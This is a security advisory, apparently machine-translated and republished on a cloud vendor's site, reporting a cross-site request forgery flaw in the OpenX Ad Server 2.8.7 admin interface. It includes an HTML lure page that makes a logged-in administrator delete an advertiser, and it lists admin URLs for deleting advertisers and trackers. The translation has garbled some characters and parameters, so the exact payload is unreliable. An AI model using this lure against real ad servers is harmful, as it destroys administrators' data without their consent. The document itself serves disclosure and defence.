Home > Cloud Computing > Cloud Security

OpenX Ad Server 2.8.7 Cross-Site Request Forgery

Source: Internet
Author: User
Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞

 

Title: OpenX Ad Server CSRF Vulnerability

Product: OpenX Ad Server

Vulnerable version: 2.8.7 and probably earlier versions

Fixed version: N/

Impact: High

Homepage: http://www.openx.org/

Test Platform: Ubuntu 11.04

By: Narendra Shinde

========================================================== ====================================

 

Vendor description:

-------------------

OpenX is the world s leading independent provider of digital advertising technology that enables businesses to manage and maximize their ad revenue.

 

OpenX ad serving products are used by more than 200,000 websites in more than 100 countries and serve more than 350 billion ads monthly. OpenX Market reaches more than 400 million monthly unique users worldwide

 

Source: http://www.openx.org/about/facts

 

 

Vulnerability Information:

-------------------------

Class: Cross-Site Request Forgery (CSRF) [CWE-352]

Impact: Unintentional changes in application.

Remotely Exploitable: Yes

Authentication Required: No

User interaction Required: Yes

 

Problem description:

-----------------------------------

The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicous actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page. attacker can modify application data.

 

 

 

Proof of concept:

-----------------

Code:

 

<Html>

<Body>

<H1> Check This new Snap

<A href = �� http://www.bkjia.com/www/admin/advertiser-delete.php? Clientid = 2> Check This </a>

</Body>

</Html>

 

 

 

 

The following URL cocould be used to perform CSRF attacks:

 

Http://www.bkjia.com/www/admin/advertiser-delete.php? Clientid = [valid-id]

 

Http://www.bkjia.com/www/admin/advertiser-user-unlink.php? Userid = [valid-id] & clientid [valid-id]

 

Http://www.bkjia.com/www/admin/tracker-delete.php? Clientid [valid-id] & trackerid [valid-id]

 

 

 

Workaround:

-----------

Https://www.owasp.org/index.php/Cross-Site_Request_Forgery_ (CSRF) _ Prevention_Cheat_Sheet

 

Timeline:

Discovered: 7/7/2011

Contacted vendor: No response

Again Contacted Vendor: 19/7/2011 NO Respoonse

Public Disclosure: 24/7/2011

 

Thanks & Regards,

Narendra.

 

Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. if you are not an intended named recipient, please submit y the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

  • Sales Support

    1 on 1 presale consultation

    Chat Contact Sales

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    Open a Ticket

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

    Learn More